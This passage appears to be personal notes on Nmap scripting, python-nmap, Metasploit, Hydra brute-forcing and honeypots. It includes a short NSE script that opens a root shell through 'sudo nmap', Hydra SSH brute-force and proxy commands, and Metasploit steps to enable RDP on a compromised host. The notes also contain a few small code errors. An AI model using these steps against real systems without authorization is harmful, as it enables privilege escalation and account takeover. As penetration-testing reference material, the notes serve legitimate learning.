- Service scripts - portrule function for deciding which detected services a script should run against.
- Postrule scripts - postrule function.
37.9.5. script format
fields
description = "Extracts version and node information from a Bitcoin server" author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" -- optional categories = {"discovery", "safe"} dependencies = {"smb-brute"} -- optional. -- NSEDoc information: @usage and @args tags and @output --- --@output -- 21/tcp open ftp ProFTPD 1.3.1 -- |_ auth-owners: nobody -- 22/tcp open ssh OpenSSH 4.3p2 Debian 9etch2 (protocol 2.0) -- |_ auth-owners: root -- 25/tcp open smtp Postfix smtpd -- |_ auth-owners: postfix -- 80/tcp open http Apache httpd 2.0.61 ((Unix) PHP/4.4.7 ...) -- |_ auth-owners: dhapache -- 113/tcp open auth? -- |_ auth-owners: nobody -- 587/tcp open submission Postfix smtpd -- |_ auth-owners: postfix -- 5666/tcp open unknown -- |_ auth-owners: root portrule = function(host, port) ??? end action = function(host, port) end
action function is only performed if the rule evaluates to true. It contains all of the instructions to be executed when the script's prerule, portrule, hostrule or postrule triggers.
one or more of the following functions that determine when the script will be run:(rule funtions)
prerule() | run once, before any hosts are scanned |
hostrule(host) | run after each batch of hosts is scanned |
portrule(host, port) | run after each batch of hosts is scanned, open, open/filtered, or unfiltered port states. |
postrule() | run once after all hosts have been scanned |
Environment Variables
- SCRIPTPATH - The script path.
- SCRIPTNAME - The script name. This variable can be used in debug output.
- SCRIPTTYPE - one of these four string values: "prerule", "hostrule", "portrule" or "postrule".
debuging:
stdnse.print_debug(3, "Skipping '%s' %s, 'dnszonetransfer.server' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
37.9.6. arguments to action function
- host
- host.os
- host.ip
- host.name
- host.targetname
- host.reason
- host.reasonttl
- host.directlyconnected - Boolean
- host.macaddr
- host.macaddrnexthop
- host.macaddrsrc
- host.interface
- host.interfacemtu
- host.binip - 4-byte (IPv4) or 16-byte (IPv6) string.
- host.binipsrc - Our host's (running Nmap) source IP address as a 4-byte (IPv4) or 16-byte (IPv6) string.
- host.times - table
- host.traceroute
- host.osfp
- port
- port.number
- port.protocol - "tcp" and "udp"
- port.service - string
- port.reason
- port.reasonttl
- port.version - table
- port.state
37.9.7. libs
- shortport - check port file:///usr/share/nmap/nselib/shortport.lua
- stdnse - Standard Nmap Scripting Engine file:///usr/share/nmap/nselib/stdnse.lua
- debug1-10 - alias for debug levels
- _ENV.verbose = verbose - log level for verbose message
- stdnse.sleep(1.5)
- brute - file:///usr/share/nmap/nselib/brute.lua
37.9.8. script development
–script-trace and –script-updatedb
arguments to them via the –script-args and –script-args-file options
–script-help shows a description of what each selected script does https://nmap.org/book/nse-usage.html
37.10. USECASES
37.10.1. system and version scan
- nmap -O - OS detection
- nmap -sV - open ports service/version
sudo nmap -sV -A -oN optimium.txt <TARGETIP>
- -sV Probe open ports to determine service/version info.
- -A Enable OS detection, version detection, script scanning, and traceroute.
- -oN Output scan in normal.
37.10.2. port scan:
- nmap -p 80 192.168.20.128
- nmap –top-ports 15 196.134.5.67
- nmap -open 198.152.45.33
nmap -vvv –privileged -open –disable-arp-ping -Pn -n –min-parallelism 6 –max-parallelism 60 -T4 -p30-200 192.168.0.1
- simple TCP port scan:
- –privileged - instead of sudo with linux capabilities enamble
- -open - only show open port in result
- -Pn, –disable-arp-ping -n - disable host discovery(all online), arp-ping, reverse DNS
- –min-parallelism 6 –max-parallelism 60 -T4 - speed optimization
- -p30-200 - port numbers
37.10.3. TODO scan subnet
37.11. troubleshooting
Nmap done: 1 IP address (0 hosts up) scanned in 1.53 seconds
- Solution: by default NMAP use arp ping to ip, to disable it use: –disable-arp-ping
- use -vvv for verbosity.
Initiating Parallel DNS resolution of 1 host. at 08:28
- Solution: disable dns resolution for ip: -n
Initiating Ping Scan
- Solution: disable host discovery: -Pn
Why so slow?
- Solution:
- –min-parallelism 6 –max-parallelism 20
- -T5
Why i don't see actual work?
- Solution: bacause you have several interfaces, use “-e enp0” to specify one interface.
You requested a scan type which requires root privileges.
- Explanation: some advanced port scanning features like NULL, Stealth SYN Scan, and many others can only work with root privileges because Nmap needs to access raw packet data to give you adequate/usable results.
- Solution:
- sudo setcap capnetraw,capnetadmin,capnetbindservice+eip $(which nmap)
- getcap $(which nmap) # /usr/bin/nmap capnetbindservice,capnetadmin,capnetraw=eip
- nmap –privileged -sS 192.168.0.112
37.12. python
- https://github.com/gh0x0st/pythonizing_nmap
- python-nmap
- python3-nmap
37.13. python-nmap
37.13.1. troubles
When using PortScanner() with arguments "-O -d" the XML isn't parsed correctly and breaks
- The suggested work around is call getnmaplastoutput() without the "-d" tag but that information doesn't include the fingerprints I'm after
remote OS detection not working on Linux?
37.13.2. PortScanner
- scan
- timeout - timeout for nmap call
- arguments - suggested
- '-sU' UDP scan
- ‘-sN; -sF; -sX’ (TCP NULL, FIN, and Xmas scans)
- ‘-sC' -equivalent to –script=default
- return - dict
- listscan(hosts="127.0.0.1") - scan(hosts, arguments="-sL")
import nmap nm = nmap.PortScanner() r = nm.scan(hosts="127.0.0.1", ports='22-443', arguments="-sV", sudo=False, timeout=0) # -sV Probe open ports to determine service/version info import pprint pprint.pp(r)
37.13.3. scan return dict
top level:
- nmap
- scan
- IPstring
- status
- tcp
- int
- state - ‘open’/'close'
- int
- IPstring
- full
{'nmap': {'command_line': 'nmap -oX - -p 22-23 --privileged --disable-arp-ping ' '-sS -n --min-parallelism 6 --max-parallelism 60 -T4 ' '-sS 192.168.0.1/24', 'scaninfo': {'tcp': {'method': 'syn', 'services': '22-23'}}, 'scanstats': {'timestr': 'Sun Oct 6 18:34:36 2024', 'elapsed': '28.66', 'uphosts': '26', 'downhosts': '230', 'totalhosts': '256'}}, 'scan': {'192.168.0.1': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.1', 'mac': '18:A6:F7:3A:4E:F2'}, 'vendor': {'18:A6:F7:3A:4E:F2': 'TP-Link ' 'Technologies'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'open', 'reason': 'syn-ack', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.100': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.100', 'mac': '50:41:1C:8A:52:7C'}, 'vendor': {'50:41:1C:8A:52:7C': 'Ampak Technology'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.102': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.102', 'mac': '14:C9:13:57:BA:51'}, 'vendor': {'14:C9:13:57:BA:51': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.103': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.103', 'mac': '28:54:71:63:53:F2'}, 'vendor': {'28:54:71:63:53:F2': 'Huawei Device'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.104': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.104', 'mac': 'D2:D5:D8:72:6C:18'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.105': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.105', 'mac': '14:C9:13:CD:92:FE'}, 'vendor': {'14:C9:13:CD:92:FE': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.107': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.107', 'mac': '14:C9:13:60:A4:A3'}, 'vendor': {'14:C9:13:60:A4:A3': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.108': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.108', 'mac': '2C:C8:1B:B5:98:88'}, 'vendor': {'2C:C8:1B:B5:98:88': 'Routerboard.com'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'filtered', 'reason': 'no-response', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'filtered', 'reason': 'no-response', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.110': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.110', 'mac': '1E:EC:5C:02:F7:81'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.111': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.111', 'mac': 'F2:80:44:61:AB:D2'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.112': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.112', 'mac': 'E4:F1:4C:3E:58:42'}, 'vendor': {'E4:F1:4C:3E:58:42': 'Private'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.114': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.114', 'mac': 'C0:F5:35:4F:06:10'}, 'vendor': {'C0:F5:35:4F:06:10': 'Ampak Technology'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.115': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.115', 'mac': '92:C9:0E:31:B9:42'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.116': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.116', 'mac': '50:41:1C:67:7D:DA'}, 'vendor': {'50:41:1C:67:7D:DA': 'Ampak Technology'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.119': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.119', 'mac': '3E:6D:4A:C8:74:A0'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.120': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.120', 'mac': '14:C9:13:60:A4:52'}, 'vendor': {'14:C9:13:60:A4:52': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.121': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.121', 'mac': '30:A9:DE:C6:39:B3'}, 'vendor': {'30:A9:DE:C6:39:B3': 'LG Innotek'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.122': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.122', 'mac': 'FE:38:65:4F:B5:95'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.124': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.124', 'mac': '14:C9:13:4A:ED:5C'}, 'vendor': {'14:C9:13:4A:ED:5C': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.125': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.125', 'mac': 'A2:05:3E:F8:0B:D4'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.128': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.128', 'mac': 'C8:08:E9:EC:A4:F5'}, 'vendor': {'C8:08:E9:EC:A4:F5': 'LG Electronics'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.129': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.129', 'mac': 'C8:22:02:2A:79:1E'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.130': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.130', 'mac': '06:C3:B4:C6:CF:35'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.132': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.132', 'mac': 'DC:90:88:57:5E:21'}, 'vendor': {'DC:90:88:57:5E:21': 'Huawei ' 'Technologies'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.140': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.140', 'mac': 'DC:90:88:57:63:7B'}, 'vendor': {'DC:90:88:57:63:7B': 'Huawei ' 'Technologies'}, 'status': {'state': 'up', 'reason': 'echo-reply'}, 'tcp': {22: {'state': 'closed', 'reason': 'reset', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}, '192.168.0.106': {'hostnames': [{'name': '', 'type': ''}], 'addresses': {'ipv4': '192.168.0.106'}, 'vendor': {}, 'status': {'state': 'up', 'reason': 'localhost-response'}, 'tcp': {22: {'state': 'open', 'reason': 'syn-ack', 'name': 'ssh', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}, 23: {'state': 'closed', 'reason': 'reset', 'name': 'telnet', 'product': '', 'version': '', 'extrainfo': '', 'conf': '3', 'cpe': ''}}}}}
37.13.4. PortScannerAsync
- PortScannerAsync - create Process for scan call, and in that process call scan for each host and callbeck result
- PortScannerYield - call host in sequence 1-by-1, scan return: yield (host, scandata)
where scandata is a result of PortScanner.scan(host)
- scandata may be null
- callback called for all hosts.
37.14. python3-nmap
37.15. sheet
https://www.stationx.net/nmap-cheat-sheet/ Service and Version Detection
- -sV nmap 192.168.1.1 -sV Attempts to determine the version of the service running on port
- -sV -version-intensity nmap 192.168.1.1 -sV -version-intensity 8 Intensity level 0 to 9. Higher number increases possibility of correctness
- -sV -version-light nmap 192.168.1.1 -sV -version-light Enable light mode. Lower possibility of correctness. Faster
- -sV -version-all nmap 192.168.1.1 -sV -version-all Enable intensity level 9. Higher possibility of correctness. Slower
- -A nmap 192.168.1.1 -A Enables OS detection, version detection, script scanning, and traceroute
OS Detection
- -O nmap 192.168.1.1 -O Remote OS detection using TCP/IP stack fingerprinting
- -O -osscan-limit nmap 192.168.1.1 -O -osscan-limit If at least one open and one closed TCP port are not found it will not try OS detection against host
- -O -osscan-guess nmap 192.168.1.1 -O -osscan-guess Makes Nmap guess more aggressively
- -O -max-os-tries nmap 192.168.1.1 -O -max-os-tries 1 Set the maximum number x of OS detection tries against a target
- -A nmap 192.168.1.1 -A Enables OS detection, version detection, script scanning, and traceroute
-6 nmap -6 2607:f0d0:1002:51::4 Enable IPv6 scanning
Other Useful Nmap Commands
- nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn Discovery only on ports x, no port scan
- nmap 192.168.1.1-1/24 -PR -sn -vv Arp discovery only on local network, no port scan
- nmap -iR 10 -sn -traceroute Traceroute to random targets, no port scan
- nmap 192.168.1.1-50 -sL -dns-server 192.168.1.1 Query the Internal DNS for hosts, list targets only
- nmap 192.168.1.1 –packet-trace Show the details of the packets that are sent and received during a scan and capture the traffic.
37.16. prettify output
printf "%b" "$(cat t.txt |sed -e 's/SF://g' -e 's/\r//g')" | less
37.17. why it is dangerous to run “sudo nmap”
This script give root shell.
description = [[]] author = "" license = "" categories = {} portrule = function(host, port) os.execute("bash") return false end action = function(host, port) end
38. metasploit
pymetasploit3
The Metasploit Project includes anti-forensic and evasion tools, some of which are built into the Metasploit Framework. In various operating systems it comes pre installed.
exploit development framework https://github.com/rapid7/metasploit-framework
https://www.offsec.com/metasploit-unleashed/metasploit-architecture/
38.1. terms
- Sessions - created through the exploits while hacking. Can upgrade a normal shell to meterpreter.
- exploit - is vulnerability exploitation that deliver payload to unprotected part of a system. Target exploited, payload deployed.
39. TODO ssh-audit
40. Paramiko
- https://github.com/paramiko/paramiko
- emerge –ask dev-python/paramiko
40.1. requirements
python_requires=">=3.6", install_requires=[ "bcrypt>=3.2", "cryptography>=3.3", "pynacl>=1.5", ],
40.2. auth methods
#+begin_src python :results output :exports both :session s1 import paramiko import socket s = socket.socket() s.connect(('localhost', 22)) t = paramiko.Transport(s) t.connect() try: t.auth_none('') except paramiko.BadAuthenticationType, err: print err.allowed_types
#+endsrc
41. bruteforcers
- Hydra
- Metasploit
- Patator
- Medusa: AFP, CVS, VNC, HTTP, IMAP, rlogin, SSH, Subversion, and VNC
- Ncrack
42. Hydra or THC Hydra - online login bruteforce
- https://github.com/vanhauser-thc/thc-hydra
- emerge –ask net-analyzer/hydra
42.1. installation from sources
FreeRDP
- https://raw.githubusercontent.com/FreeRDP/FreeRDP/refs/heads/master/docs/README.building
- apt install libxslt-dev
remote:
if ! command -v hydra >/dev/null; then mkdir --parents /usr/local/src cd /usr/local/src apt install libssh-dev # for SSH git clone --depth=1 https://github.com/vanhauser-thc/thc-hydra wget -O 970.patch https://patch-diff.githubusercontent.com/raw/vanhauser-thc/thc-hydra/pull/970.patch # git apply --stat a_file.patch git apply --check 970.patch # dry run git apply 970.patch cd thc-hydra ./configure make make install # If you miss some library, this command may help you: # pkg-config --cflags --libs freerdp3 echo "/usr/local/lib" >> /etc/ld.so.conf ldconfig fi
42.1.1. freerdp
git clone –depth 1 https://github.com/freerdp/freerdp.git
sudo apt-get install \ ninja-build \ build-essential \ libsdl2-dev \ libsdl2-ttf-dev \
mkdir freerdp-build cd freerdp-build cmake -GNinja \ -B . \ -S ../ \ -DCMAKEBUILDTYPE=Release \ -DCMAKESKIPINSTALLALLDEPENDENCY=ON \ -DWITHSERVER=OFF \ -DWITHSAMPLE=OFF \ -DWITHPLATFORMSERVER=OFF \ -DUSEUNWIND=OFF \ -DWITHSWSCALE=OFF \ -DWITHFFMPEG=OFF \ -DWITHWEBVIEW=OFF \ -DWITHKRB5=OFF \ -DWITHX11=OFF \ -DWITHCUPS=OFF \ -DWITHFUSE=OFF \ -DWITHSDLLINKSHARED=OFF \ -DCHANNELURBDRC=OFF cmake –build . cmake –install .
42.2. main parameters
- -t TASKS run TASKS number of connects in parallel per target (default: 16)
- -f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-M FILE list of servers to attack, one entry per line, ':' to specify port
- -f
- -T TASKS run TASKS connects in parallel overall (for -M, default: 64)
- -4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
42.3. default timeouts
- -w / -W TIME wait time for a response (32) / between connects per thread (0)
- -c TIME wait time per login attempt over all threads (enforces -t 1)
42.4. steals parameters
- -r use a non-random shuffling method for option -x
42.5. Python - hydra-core
42.6. features
- more than one protocol to attack: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
- support parallelized connects.
42.7. requirements
https://github.com/facebookresearch/hydra/blob/main/requirements/requirements.txt
- omegaconf>=2.4.0.dev2
- importlib-resources;pythonversion<'3.9'
- packaging
42.8. tools:
- Patator
- Metasploit
42.9. ssh example
hydra -l <username> -P <full path to pass> 10.10.134.5 -t 4 ssh
- -l Specifies the user login for the session
- -P Provides a list of passwords to test
- -t threads
- pairs
hydra -C pair.lst
- users + passwords-common
- users + passwords-advanced
42.10. login and passowrd specifying
- -l LOGIN or -L FILE
- -p PASS or -P FILE
- -C FILE - "login:pass" format
42.11. target specification
- -M FILE list of servers to attack, one entry per line, ':' to specify port
- [service://server[:PORT][/OPT]]
- -s port
42.12. proxy
export HYDRAPROXY=socks5://l:p@127.0.0.1:9150
42.13. Ubuntu password complexity rules PAM
- min:6 chars
- Entropy Checks of (pamunix module with the obscure option enables )
- not Palindrome: echo “asd” | rev
- Simple: Checks if the new password is too simple based on its length and the variety of character types used.
- has upper [A-Z]
- has lower [a-z]
- has digit [0-9]
- has special [a-zA-Z0-9]
is_too_simple() { local password="$1" if [ ${#password} -lt 8 ]; then return 0 fi local has_upper=0 local has_lower=0 local has_digit=0 local has_special=0 for ((i=0; i<${#password}; i++)); do if [[ ${password:$i:1} =~ [A-Z] ]]; then has_upper=1 elif [[ ${password:$i:1} =~ [a-z] ]]; then has_lower=1 elif [[ ${password:$i:1} =~ [0-9] ]]; then has_digit=1 elif [[ ${password:$i:1} =~ [^a-zA-Z0-9] ]]; then has_special=1 fi done if [ $has_upper -eq 0 ] || [ $has_lower -eq 0 ] || [ $has_digit -eq 0 ] || [ $has_special -eq 0 ]; then return 0 else return 1 fi } is_too_simple "1DFAasd2." ; echo $? is_too_simple "asd" ; echo $?
42.14. password generation
Help: hydra -x -h
- -x MIN:MAX:CHARSET
- -x 8:8:aA1.- - all lower, upper, numbers and .- characters
42.15. RDP
https://www.hackingarticles.in/remote-desktop-penetration-testing-port-3389/
rdesktop 192.168.1.41:3314
Metasploit
- run getgui -e -u ignite -p 123
which equal to
- use post/windows/mange/enablerdp
- set username pavan
- set password 123
- set session 1
- exploit
43. honeypots
43.1. popular:
- honeyd
- nepenthes
- Sebek-based
- KFSensor is a host-based Intrusion Detection System that can act as a honeypot
- Specter
ssh
- Kippo - interaction SSH honeypot (old)
- Cowrie - interaction SSH and Telnet honeypot
- offers a fake file system based on Debian 5.0, letting you add and remove files as you wish
telnet
- TPwd
- MTPot
- TIoT
HTTP
- Dionaca
- Glastopf http://glastopf.org/
- Conpot
- Nodepot https://github.com/schmalle/Nodepot
- Google Hack Honeypot http://ghh.sourceforge.net/
Database
- ElasticHoney https://github.com/jordan-wright/elastichoney
- malicious requests attempting to exploit RCE vulnerabilities.
- HoneyMysql https://github.com/supriyo-biswas/HoneyMysql
- MongoDB-HoneyProxy https://github.com/Plazmaz/MongoDB-HoneyProxy
IOT honeypots
- https://github.com/omererdem/honeything
- as a full modem/router running the RomPager web server and supports TR-069 (CWMP) protocol.
- https://github.com/darkarnium/kako
- includes Telnet, HTTP and HTTPS servers. Kako requires the following Python packages to work properly: Click, Boto3, Requests and Cerberus
Email honeypots
- https://github.com/sec51/honeymail
- https://github.com/awhitehatter/mailoney
- https://github.com/miguelraulb/spamhat
Other
- https://github.com/DinoTools/dionaea
- low-interaction honeypot written in C and Python uses the Libemu library to emulate the execution of Intel x86 instructions and detect shellcodes.
